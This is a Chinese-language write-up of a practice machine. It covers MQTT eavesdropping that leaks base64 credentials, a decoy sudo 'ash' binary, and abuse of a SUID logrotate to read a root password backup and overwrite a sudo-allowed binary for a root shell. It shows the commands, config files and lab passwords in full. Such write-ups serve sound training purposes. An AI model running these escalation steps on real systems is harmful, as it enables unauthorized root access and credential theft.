0%

群友靶机-LingMj复盘

群友靶机-LingMj复盘

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
──(root㉿kakeru)-[~/tmp]
└─# nmap 192.168.176.228 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-06 23:05 CST
Nmap scan report for bogon (192.168.176.228)
Host is up (0.0081s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1883/tcp open mqtt
MAC Address: C8:21:58:16:CF:C4 (Intel Corporate)

Nmap done: 1 IP address (1 host up) scanned in 11.34 seconds

发现有一个奇怪的端口mqtt

信息收集

先去hacktricks看看有没有1883端口mqtt的什么信息或者利用手段
了解到这是一个发布/订阅消息传递协议

然后让gpt写一个建议的接受信息的脚本 运行之后得到登录凭证

1
2
3
4
5
6
7
8
9
10
import paho.mqtt.client as mqtt

def on_message(client, userdata, message):
print(f"Topic: {message.topic}, Message: {message.payload.decode()}")

client = mqtt.Client()
client.on_message = on_message
client.connect("192.168.176.228", 1883, 60)
client.subscribe("#")
client.loop_forever()
1
2
3
4
5
6
7
8
9
10
┌──(root㉿kakeru)-[~/tmp]
└─# python3 tmp.py
/root/tmp/tmp.py:6: DeprecationWarning: Callback API version 1 is deprecated, update to latest version
client = mqtt.Client()
Topic: config, Message: Topic: chat
Topic: config, Message: config: d2VsY29tZTpmOGM1N2RmYzU4MGVhODk0YTI1M2E2ZTE2ZjMwYWMyMQ==

┌──(root㉿kakeru)-[~/tmp]
└─# echo "d2VsY29tZTpmOGM1N2RmYzU4MGVhODk0YTI1M2E2ZTE2ZjMwYWMyMQ==" | base64 -d
welcome:f8c57dfc580ea894a253a6e16f30ac21

welcome:f8c57dfc580ea894a253a6e16f30ac21

提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
welcome@LingMj:~$ ls -al
total 376
drwx------ 4 welcome welcome 4096 Apr 26 23:06 .
drwxr-xr-x 3 root root 4096 Apr 11 22:27 ..
lrwxrwxrwx 1 root root 9 Apr 26 00:01 .bash_history -> /dev/null
-rw-r--r-- 1 welcome welcome 220 Apr 11 22:27 .bash_logout
-rw-r--r-- 1 welcome welcome 3526 Apr 11 22:27 .bashrc
drwx------ 2 welcome welcome 4096 Apr 26 11:17 .gnupg
-rwxr-xr-x 1 welcome welcome 332111 Feb 9 06:39 linpeas.sh
drwxr-xr-x 3 welcome welcome 4096 Apr 26 23:06 .local
-rw-r--r-- 1 welcome welcome 807 Apr 11 22:27 .profile
-rw-r--r-- 1 welcome welcome 66 Apr 26 23:06 .selected_editor
-rwx------ 1 welcome welcome 24 Apr 25 23:57 user.txt
-rw------- 1 welcome welcome 10527 Apr 26 10:50 .viminfo
welcome@LingMj:~$ sudo -l
Matching Defaults entries for welcome on LingMj:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on LingMj:
(ALL) NOPASSWD: /usr/bin/ash

登录到welcome之后发现有ash的sudo权限
尝试运行一下

1
2
3
4
5
6
7
8
9
10
11
welcome@LingMj:~$ sudo /usr/bin/ash
root@LingMj:~# id
uid=0(root) gid=0(root) groups=0(root)
root@LingMj:~# whoami
root
root@LingMj:~# ls
root.txt
root@LingMj:~# cat r
root@LingMj:~# cat root.txt
wow
root@LingMj:~#

可以运行,而且看起来真的切换到root了一样,但是这里root flag不对
然后用strings可以看一下这个ash里面有什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
welcome@LingMj:~$ strings /usr/bin/ash
/lib64/ld-linux-x86-64.so.2
mh OG
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
readline
rl_completion_matches
rl_attempted_completion_over
rl_attempted_completion_function
rl_outstream
using_history
add_history
strncmp
puts
putchar
strdup
strlen
stderr
__cxa_finalize
strcmp
__libc_start_main
free
libreadline.so.8
libc.so.6
GLIBC_2.2.5
u/UH
[]A\A]A^A_
whoami
uid=0(root) gid=0(root) groups=0(root)
root.txt
cat root.txt
root
This is the great ta0 privilege escalation!
root@LingMj:~#
;*3$"
GCC: (Debian 10.2.1-6) 10.2.1 20210110
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
fake.c

所以这里就是写死了,这个ash是伪装的,只给了几个特定的输入和对应的输出
(这里我拉到本地ida看了也没有什么有用的信息)
所以放弃这个ash,另求出路。 找一下suid的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
welcome@LingMj:~$ find / -user root -perm -4000 -print 2>/dev/null
/usr/sbin/logrotate
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/screen
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1

这里有不同的是logrotate
在gtfoargs中可以找到利用的方式,这里尝试里面的shell和command利用但是不行 发现这可以直接读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
welcome@LingMj:~$ /usr/sbin/logrotate /etc/passwd
error: /etc/passwd:1 unknown option 'root' -- ignoring line
error: /etc/passwd:2 unknown option 'daemon' -- ignoring line
error: /etc/passwd:3 unknown option 'bin' -- ignoring line
error: /etc/passwd:4 unknown option 'sys' -- ignoring line
error: /etc/passwd:5 unknown option 'sync' -- ignoring line
error: /etc/passwd:6 unknown option 'games' -- ignoring line
error: /etc/passwd:7 unknown option 'man' -- ignoring line
error: /etc/passwd:8 unknown option 'lp' -- ignoring line
error: /etc/passwd:10 unknown option 'news' -- ignoring line
error: /etc/passwd:11 unknown option 'uucp' -- ignoring line
error: /etc/passwd:12 unknown option 'proxy' -- ignoring line
error: /etc/passwd:13 unknown option 'www' -- ignoring line
error: /etc/passwd:14 unknown option 'backup' -- ignoring line
error: /etc/passwd:15 unknown option 'list' -- ignoring line
error: /etc/passwd:16 unknown option 'irc' -- ignoring line
error: /etc/passwd:17 unknown option 'gnats' -- ignoring line
error: /etc/passwd:18 unknown option 'nobody' -- ignoring line
error: /etc/passwd:19 lines must begin with a keyword or a filename (possibly in double quotes)
error: /etc/passwd:20 unknown option 'systemd' -- ignoring line
error: /etc/passwd:21 unknown option 'systemd' -- ignoring line
error: /etc/passwd:22 unknown option 'systemd' -- ignoring line
error: /etc/passwd:23 unknown option 'systemd' -- ignoring line
error: /etc/passwd:24 unknown option 'messagebus' -- ignoring line
error: /etc/passwd:25 unknown option 'sshd' -- ignoring line
error: /etc/passwd:26 unknown option 'welcome' -- ignoring line
error: /etc/passwd:27 unknown option 'mosquitto' -- ignoring line

但是这里读取的只有第一个单词
然后在继续找一些有用的内容,最终在/var/backups目录下面发现有一个root.bak文件,尝试读一下这个文件
成功读到内容

1
2
welcome@LingMj:/var/backups$ /usr/sbin/logrotate ./root.bak 
error: ./root.bak:1 unknown option 'naughtykid' -- ignoring line

这是root的登录凭证,可以用这个登录root

第二种方法是利用logrotate的其他参数

1
2
3
4
5
6
7
8
9
10
11
12
13
welcome@LingMj:/var/backups$ /usr/sbin/logrotate --help
Usage: logrotate [OPTION...] <configfile>
-d, --debug Don't do anything, just test and print debug messages
-f, --force Force file rotation
-m, --mail=command Command to send mail (instead of `/usr/bin/mail')
-s, --state=statefile Path of state file
-v, --verbose Display messages during rotation
-l, --log=logfile Log file or 'syslog' to log to syslog
--version Display version information

Help options:
-?, --help Show this help message
--usage Display brief usage message

这里的-f选项是强制实行文件转换
根据群主的视频,可以写一个配置文件,设置一个文件的权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
welcome@LingMj:~$ cat a.conf 
/home/welcome/user.txt{
size 1
create 77 root root

}
welcome@LingMj:~$ vi a.conf
welcome@LingMj:~$ cat a.conf
/home/welcome/user.txt{
size 1
create 777 root root

}
welcome@LingMj:~$ /usr/sbin/logrotate -f a.conf
welcome@LingMj:~$ ls -al
total 376
drwx------ 4 welcome welcome 4096 May 6 11:43 .
drwxr-xr-x 3 root root 4096 Apr 11 22:27 ..
-rw-r--r-- 1 welcome welcome 58 May 6 11:43 a.conf
lrwxrwxrwx 1 root root 9 Apr 26 00:01 .bash_history -> /dev/null
-rw-r--r-- 1 welcome welcome 220 Apr 11 22:27 .bash_logout
-rw-r--r-- 1 welcome welcome 3526 Apr 11 22:27 .bashrc
drwx------ 2 welcome welcome 4096 May 6 11:30 .gnupg
-rwxr-xr-x 1 welcome welcome 332111 Feb 9 06:39 linpeas.sh
drwxr-xr-x 3 welcome welcome 4096 Apr 26 23:06 .local
-rw-r--r-- 1 welcome welcome 807 Apr 11 22:27 .profile
-rw-r--r-- 1 welcome welcome 66 Apr 26 23:06 .selected_editor
-rwxrwxrwx 1 root root 0 May 6 11:43 user.txt
-rw------- 1 welcome welcome 10690 May 6 11:43 .viminfo

这里就是写一个配置文件,制定要修改的文件,然后随便设置一个大小,create + 权限 + 用户 + 组
这样就可以得到一个权限777 并且是root的文件
这样就可以把一个root权限用户写到/etc/passwd或者直接改变/usr/bin/ash 因为这个文件本身有sudo

1
2
3
4
5
6
7
8
9
10
11
welcome@LingMj:~$ cat a.conf 
/usr/bin/ash{
size 1
create 777 root root

}
welcome@LingMj:~$ echo "bash" > /usr/bin/ash
welcome@LingMj:~$ sudo /usr/bin/ash
root@LingMj:/home/welcome# id
uid=0(root) gid=0(root) groups=0(root)
root@LingMj:/home/welcome#

总结

  • 学习1883端口mqtt服务,以及监听脚本
  • logrotate的提权方法 1。可以读取某个文件的第一个单词 2. 可以写一个配置文件,用创造出一个root的777权限的文件 用-f选项强制加载这个配置文件
1
2
3
4
5
/usr/bin/ash{
size 1
create 777 root root

}
  • 不要被一个sudo权限卡住提权,试试其他的办法,这里是找到了suid的logrotate
  • 学习写入/etc/passwd的方法,用户:哈希:用户标号:组标号:注释:主文件夹:用的shell